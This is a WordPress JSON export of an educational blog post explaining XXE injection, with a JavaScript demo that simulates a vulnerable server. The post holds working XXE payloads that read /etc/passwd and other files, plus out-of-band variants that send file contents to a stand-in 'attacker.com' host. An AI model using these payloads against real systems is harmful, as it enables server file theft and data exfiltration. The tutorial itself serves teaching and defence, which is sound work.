{"id":1408,"date":"2024-09-06T03:00:59","date_gmt":"2024-09-06T03:00:59","guid":{"rendered":"https:\/\/hacking.cool\/?p=1408"},"modified":"2024-09-14T03:44:26","modified_gmt":"2024-09-14T03:44:26","slug":"xxe-xml-external-entities","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","title":{"rendered":"XXE &#8211; XML External Entities"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"http:\/\/hacking.cool\/wp-content\/uploads\/2024\/09\/XXE3.jpg\" alt=\"\" class=\"wp-image-1417\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3-300x225.jpg 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3-768x576.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p>Today we will cover one of the more interesting attack vectors &#8211; XXE. <\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>What is XXE? <\/strong><\/p>\n\n\n\n<p>XXE, or XML External Entity Injection, is a type of security vulnerability that occurs when an application processes untrusted XML input. Attackers exploit this by including malicious code in XML data, often leading to serious consequences like reading server files, disclosing sensitive information, or even remote code execution. This vulnerability can be particularly dangerous because XML is widely used in web services, APIs, and other data exchange formats.<\/p>\n\n\n\n<p>Let&#8217;s break it down further so that even if you&#8217;re new to the world of vulnerabilities, you&#8217;ll fully understand what XXE is and how it works.<\/p>\n\n\n\n<p><strong>Breaking Down XML and Entities<\/strong><\/p>\n\n\n\n<p>First, it\u2019s important to know what XML is. XML (Extensible Markup Language) is a language used to structure data in a readable way for both machines and humans.<\/p>\n\n\n\n<p>For example, here\u2019s a simple XML file:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;user&gt;\n  &lt;name&gt;John Doe&lt;\/name&gt;\n  &lt;age&gt;30&lt;\/age&gt;\n&lt;\/user&gt;<\/code><\/pre>\n\n\n\n<p><strong>XML entities<\/strong>, on the other hand, are like shortcuts or references. Instead of repeating the same data multiple times, you can define an entity once and reuse it. External entities go a step further by allowing the XML document to reference external resources like files.<\/p>\n\n\n\n<p>For example:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE note &#91;\n  &lt;!ENTITY myData SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n]&gt;\n&lt;user&gt;\n  &lt;name&gt;&amp;myData;&lt;\/name&gt;\n&lt;\/user&gt;<\/code><\/pre>\n\n\n\n<p>This snippet references a file on the system (in this case, <code>\/etc\/passwd<\/code> on Unix-like systems), which contains a list of users. When the XML is processed, it tries to load the contents of that file.<\/p>\n\n\n\n<p><strong>How XXE Attacks Work<\/strong><\/p>\n\n\n\n<p>An attacker can manipulate this feature to access sensitive data or perform malicious actions on the server. Let&#8217;s say a web application takes XML input from users and doesn&#8217;t properly check for external entities. An attacker could send the following malicious XML:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE user &#91;\n  &lt;!ENTITY myData SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n]&gt;\n&lt;user&gt;\n  &lt;name&gt;&amp;myData;&lt;\/name&gt;\n&lt;\/user&gt;<\/code><\/pre>\n\n\n\n<p>Here\u2019s what happens:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The XML parser processes the input.<\/li>\n\n\n\n<li>It finds the external entity <code>myData<\/code> and follows the reference to the file <code>\/etc\/passwd<\/code>.<\/li>\n\n\n\n<li>The contents of the file are inserted into the XML response and sent back to the attacker.<\/li>\n<\/ul>\n\n\n\n<p>This could allow an attacker to steal files, read server configurations, or gain access to private data stored on the server.<\/p>\n\n\n\n<p class=\"has-large-font-size\"><strong>XXE Attack Types<\/strong><\/p>\n\n\n\n<p><strong>In-band XXE (Classic)<\/strong>: This type allows the attacker to include external entities in the XML document. The response from the server contains the results, such as file contents (e.g., <code>\/etc\/passwd<\/code>).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo &#91;\n&lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n]&gt;\n&lt;data&gt;&amp;xxe;&lt;\/data&gt;<\/code><\/pre>\n\n\n\n<p><strong>Out-of-Band (OOB) XXE<\/strong>: If the server does not return the response in-band, OOB techniques allow the attacker to retrieve sensitive data via external URLs or network requests, like DNS or HTTP requests to a server the attacker controls.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo &#91;\n&lt;!ENTITY % xxe SYSTEM \"http:\/\/attacker.com\/xxe.dtd\"&gt;\n%xxe;\n]&gt;\n&lt;data&gt;test&lt;\/data&gt;<\/code><\/pre>\n\n\n\n<p><code>xxe.dtd<\/code> hosted by the attacker:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!ENTITY % file SYSTEM \"file:\/\/\/etc\/hostname\"&gt;\n&lt;!ENTITY % all \"&lt;!ENTITY send SYSTEM 'http:\/\/attacker.com\/?%file;'&gt;\"&gt;\n%all;<\/code><\/pre>\n\n\n\n<p><strong>Error-based XXE<\/strong>: When direct data retrieval is not possible, this technique triggers XML parsing errors that leak sensitive information (like file contents) through error messages.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo &#91;\n&lt;!ENTITY % file SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n&lt;!ENTITY % eval \"&lt;!ENTITY &amp;#x25; error SYSTEM 'file:\/\/\/nonexistent\/%file;'&gt;\"&gt;\n%eval;\n%error;\n]&gt;\n&lt;data&gt;test&lt;\/data&gt;<\/code><\/pre>\n\n\n\n<p><strong>Blind XXE<\/strong>: Similar to OOB XXE but with no visible output to the attacker. It exploits indirect effects like timing delays or system responses to crafted payloads.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;\n&lt;!DOCTYPE foo &#91;\n&lt;!ENTITY xxe SYSTEM \"http:\/\/attacker.com\/?test\"&gt;\n]&gt;\n&lt;data&gt;&amp;xxe;&lt;\/data&gt;<\/code><\/pre>\n\n\n\n<p><strong>Internal Entity Injection<\/strong>: This is an XXE exploitation technique where an attacker manipulates internal XML entities without the need for external resource references. A common use of this technique is injecting unexpected or harmful content into the document using pre-existing entities defined within the XML itself. In other words, we do not create new entities, but use the ones application uses itself by design, however, instead of writing expected data (email address, in this case), we try to reference other data.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\"?&gt;\n&lt;!DOCTYPE user &#91;\n  &lt;!ENTITY name \"John Doe\"&gt;\n  &lt;!ENTITY email SYSTEM \"file:\/\/\/etc\/passwd\"&gt;\n]&gt;\n&lt;user&gt;\n  &lt;name&gt;&amp;name;&lt;\/name&gt;\n  &lt;email&gt;&amp;email;&lt;\/email&gt;\n&lt;\/user&gt;<\/code><\/pre>\n\n\n\n<p><strong>XXE via Multipart File Upload<\/strong>: This type of XXE technique exploits the fact that some web applications allow users to upload files, such as images, documents, or XML-based formats, without properly validating or sanitizing the content. Attackers can insert malicious XML content within files like SVG or DOCX, which are processed by the server, leading to potential XXE vulnerabilities.<\/p>\n\n\n\n<p>For example, the attacker crafts a file using a format that supports XML, such as SVG, and embeds XXE inside the file. The XML content references a system file, like <code>\/etc\/hostname<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?xml version=\"1.0\" standalone=\"yes\"?&gt;\n&lt;!DOCTYPE svg &#91;\n  &lt;!ENTITY xxe SYSTEM \"file:\/\/\/etc\/hostname\"&gt;\n]&gt;\n&lt;svg width=\"128px\" height=\"128px\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;\n  &lt;text font-size=\"16\" x=\"0\" y=\"16\"&gt;&amp;xxe;&lt;\/text&gt;\n&lt;\/svg&gt;<\/code><\/pre>\n\n\n\n<p>The attacker uploads the malicious file as a valid image or document through the website&#8217;s file upload functionality. <\/p>\n\n\n\n<p>Once the server processes the file and displays or uses the data, the external entity is resolved, allowing access to sensitive information like <code>\/etc\/hostname<\/code> or other internal files.<\/p>\n\n\n\n<p><strong>XXE via<\/strong> <strong>XInclude injection:<\/strong> XInclude injection is a specific type of XXE attack that exploits XML External Entities using the XInclude feature of XML. XInclude allows parts of XML documents to be dynamically included within other XML documents. Attackers can use this to inject external data into a document, such as file contents from the server&#8217;s filesystem.<\/p>\n\n\n\n<p>This scenarios could occur when you cannot control the entire XML document or define a DTD, you inject an XInclude directive, which can include files from the server. The <code>href<\/code> attribute points to the file you want to retrieve, such as <code>\/etc\/passwd<\/code>. <\/p>\n\n\n\n<p>Imagine you have a vulnerable application that has a form, such as a product search or stock checking feature, where user-supplied input is embedded inside an XML document processed server-side. In a typical request, the XML payload sent by the application might look like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/product\/stock HTTP\/1.1\nHost: example.com\nContent-Length: 20\n\nproductId=12<\/code><\/pre>\n\n\n\n<p>Note that the above productId can then be embedded into an XML request, and processed\/submitted to the backend. Hence, instead of submitting a normal <code>productId<\/code>, you may try to inject an XInclude directive. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/product\/stock HTTP\/1.1\nHost: example.com\nContent-Length: 220\n\nproductId=&lt;foo xmlns:xi=\"http:\/\/www.w3.org\/2001\/XInclude\"&gt;&lt;xi:include href=\"file:\/\/\/etc\/passwd\" parse=\"text\"\/&gt;&lt;\/foo&gt;<\/code><\/pre>\n\n\n\n<p>The application will process this XML, and instead of simply checking the <code>productId<\/code>, it will attempt to include the file located at <code>file:\/\/\/etc\/passwd<\/code>, which can be sensitive (password hashes, user information, etc.).<\/p>\n\n\n\n<p>XInclude is a separate part of the XML standard. It allows the dynamic inclusion of external data, either from other parts of the document or external files. This approach works even if the XML parser has protections against DTD-based XXE attacks.<\/p>\n\n\n\n<div id=\"xxe-demo\" style=\"font-family: Arial, sans-serif; max-width: 600px; margin: 20px auto; padding: 20px; border: 1px solid #ddd; border-radius: 8px;\">\n    <h2 style=\"color: #333; text-align: center;\">Interactive XXE Vulnerability Demo<\/h2>\n    \n    <div style=\"margin-bottom: 20px;\">\n        <label for=\"xml-input\" style=\"display: block; margin-bottom: 5px; font-weight: bold;\">Enter XML:<\/label>\n        <textarea id=\"xml-input\" rows=\"10\" style=\"width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px;\" placeholder=\"Enter your XML here...\">\n<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [\n  <!ENTITY xxe SYSTEM \"file:\/\/\/etc\/passwd\">\n]>\n<data>&xxe;<\/data><\/textarea>\n    <\/div>\n    \n    <button id=\"process-btn\" style=\"display: block; width: 100%; padding: 10px; background-color: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer;\">Process XML<\/button>\n    \n    <div style=\"margin-top: 20px;\">\n        <h3 style=\"color: #333;\">Server Response:<\/h3>\n        <pre id=\"server-response\" style=\"background-color: #f4f4f4; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word;\"><\/pre>\n    <\/div>\n    \n    <div style=\"margin-top: 20px;\">\n        <h3 style=\"color: #333;\">Explanation:<\/h3>\n        <p id=\"explanation\" style=\"background-color: #e7f3fe; padding: 10px; border-radius: 4px;\"><\/p>\n    <\/div>\n<\/div>\n\n<script>\ndocument.addEventListener('DOMContentLoaded', function() {\n    var xmlInput = document.getElementById('xml-input');\n    var processBtn = document.getElementById('process-btn');\n    var serverResponse = document.getElementById('server-response');\n    var explanation = document.getElementById('explanation');\n\n    var simulatedFiles = {\n        '\/etc\/passwd': 'root:x:0:0:root:\/root:\/bin\/bash\\nuser:x:1000:1000:User,,,:\/home\/user:\/bin\/bash',\n        '\/etc\/hostname': 'webserver01',\n        '\/var\/www\/html\/config.php': '<?php\\n$db_password = \"supersecret123\";\\n$api_key = \"abcdef123456\";\\n?>'\n    };\n\n    processBtn.addEventListener('click', function() {\n        var xml = xmlInput.value;\n        var response = '';\n        var explanationText = '';\n\n        if (!xml.includes('<data>') || !xml.includes('<\/data>')) {\n            response = 'Error: Invalid XML structure';\n            explanationText = 'The XML must contain a <data> element. This simulates a typical XML processing scenario.';\n        } else if (xml.includes('SYSTEM') && xml.includes('file:\/\/\/')) {\n            var entityMatch = xml.match(\/<!ENTITY\\s+(\\w+)\\s+SYSTEM\\s*\"file:\\\/\\\/([^\"]+)\"\/);\n            var dataContent = xml.match(\/<data>([\\s\\S]*?)<\\\/data>\/)[1];\n            \n            if (entityMatch) {\n                var definedEntity = entityMatch[1];\n                var requestedFile = entityMatch[2];\n                var usedEntity = dataContent.match(\/&(\\w+);\/);\n\n                if (usedEntity && usedEntity[1] !== definedEntity) {\n                    response = 'Error: Entity mismatch';\n                    explanationText = `An XXE was attempted, but the defined entity (${definedEntity}) doesn't match the used entity (${usedEntity[1]}). This would not successfully exploit the vulnerability.`;\n                } else if (usedEntity && simulatedFiles[requestedFile]) {\n                    response = simulatedFiles[requestedFile];\n                    explanationText = 'XXE vulnerability exploited! The attacker was able to read the contents of ' + requestedFile + '.';\n                } else if (!usedEntity) {\n                    response = 'XML processed, but entity not used';\n                    explanationText = 'An XXE was attempted, but the entity was not used in the <data> element. In a real scenario, this might not trigger the vulnerability.';\n                } else {\n                    response = 'Error: File ' + requestedFile + ' not found.';\n                    explanationText = 'XXE attempt detected, but the requested file ' + requestedFile + ' doesn\\'t exist on our simulated server.';\n                }\n            } else {\n                response = 'Error: Invalid XXE syntax';\n                explanationText = 'An XXE attempt was detected, but the entity definition is not correctly formatted.';\n            }\n        } else {\n            var dataMatch = xml.match(\/<data>([\\s\\S]*?)<\\\/data>\/);\n            response = dataMatch ? dataMatch[1] : '';\n            if (response.includes('&')) {\n                response = 'Error: Unresolved entity';\n                explanationText = 'The XML contains an unresolved entity. This could indicate a partially successful XXE attempt, but the entity was not replaced with file contents.';\n            } else {\n                explanationText = 'XML processed successfully. No XXE vulnerability detected in this input.';\n            }\n        }\n\n        serverResponse.textContent = response;\n        explanation.textContent = explanationText;\n    });\n});\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>Today we will cover one of the more interesting attack vectors &#8211; XXE. What is XXE? XXE, or XML External Entity Injection, is a type of security vulnerability that occurs when an application processes untrusted XML input. Attackers exploit this by including malicious code in XML data, often leading to serious consequences like reading server<span class=\"post-excerpt-end\">&hellip;<\/span><\/p>\n<p class=\"more-link\"><a href=\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\" class=\"themebutton\">Read More<\/a><\/p>\n","protected":false},"author":3,"featured_media":1417,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1408","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>XXE - XML External Entities - hacking.cool<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"XXE - XML External Entities - hacking.cool\" \/>\n<meta property=\"og:description\" content=\"Today we will cover one of the more interesting attack vectors &#8211; XXE. What is XXE? XXE, or XML External Entity Injection, is a type of security vulnerability that occurs when an application processes untrusted XML input. Attackers exploit this by including malicious code in XML data, often leading to serious consequences like reading server&hellip;Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\" \/>\n<meta property=\"og:site_name\" content=\"hacking.cool\" \/>\n<meta property=\"article:published_time\" content=\"2024-09-06T03:00:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-09-14T03:44:26+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"768\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Atom\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Atom\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\",\"url\":\"https:\/\/hacking.cool\/atomanya\/\",\"name\":\"hacking.cool\",\"description\":\"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#primaryimage\",\"url\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg\",\"contentUrl\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg\",\"width\":1024,\"height\":768},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\",\"url\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\",\"name\":\"XXE - XML External Entities - hacking.cool\",\"isPartOf\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#primaryimage\"},\"datePublished\":\"2024-09-06T03:00:59+00:00\",\"dateModified\":\"2024-09-14T03:44:26+00:00\",\"author\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\"},\"breadcrumb\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hacking.cool\/atomanya\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"XXE &#8211; XML External Entities\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\",\"name\":\"Atom\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"caption\":\"Atom\"},\"url\":\"https:\/\/hacking.cool\/atomanya\/author\/atom\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"XXE - XML External Entities - hacking.cool","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","og_locale":"en_US","og_type":"article","og_title":"XXE - XML External Entities - hacking.cool","og_description":"Today we will cover one of the more interesting attack vectors &#8211; XXE. What is XXE? XXE, or XML External Entity Injection, is a type of security vulnerability that occurs when an application processes untrusted XML input. Attackers exploit this by including malicious code in XML data, often leading to serious consequences like reading server&hellip;Read More","og_url":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","og_site_name":"hacking.cool","article_published_time":"2024-09-06T03:00:59+00:00","article_modified_time":"2024-09-14T03:44:26+00:00","og_image":[{"width":1024,"height":768,"url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg","type":"image\/jpeg"}],"author":"Atom","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Atom","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/hacking.cool\/atomanya\/#website","url":"https:\/\/hacking.cool\/atomanya\/","name":"hacking.cool","description":"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#primaryimage","url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg","contentUrl":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg","width":1024,"height":768},{"@type":"WebPage","@id":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","url":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/","name":"XXE - XML External Entities - hacking.cool","isPartOf":{"@id":"https:\/\/hacking.cool\/atomanya\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#primaryimage"},"datePublished":"2024-09-06T03:00:59+00:00","dateModified":"2024-09-14T03:44:26+00:00","author":{"@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2"},"breadcrumb":{"@id":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/hacking.cool\/atomanya\/xxe-xml-external-entities\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacking.cool\/atomanya\/"},{"@type":"ListItem","position":2,"name":"XXE &#8211; XML External Entities"}]},{"@type":"Person","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2","name":"Atom","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","caption":"Atom"},"url":"https:\/\/hacking.cool\/atomanya\/author\/atom\/"}]}},"jetpack_featured_media_url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/09\/XXE3.jpg","_links":{"self":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/1408","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/comments?post=1408"}],"version-history":[{"count":14,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/1408\/revisions"}],"predecessor-version":[{"id":1460,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/1408\/revisions\/1460"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media\/1417"}],"wp:attachment":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media?parent=1408"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/categories?post=1408"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/tags?post=1408"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}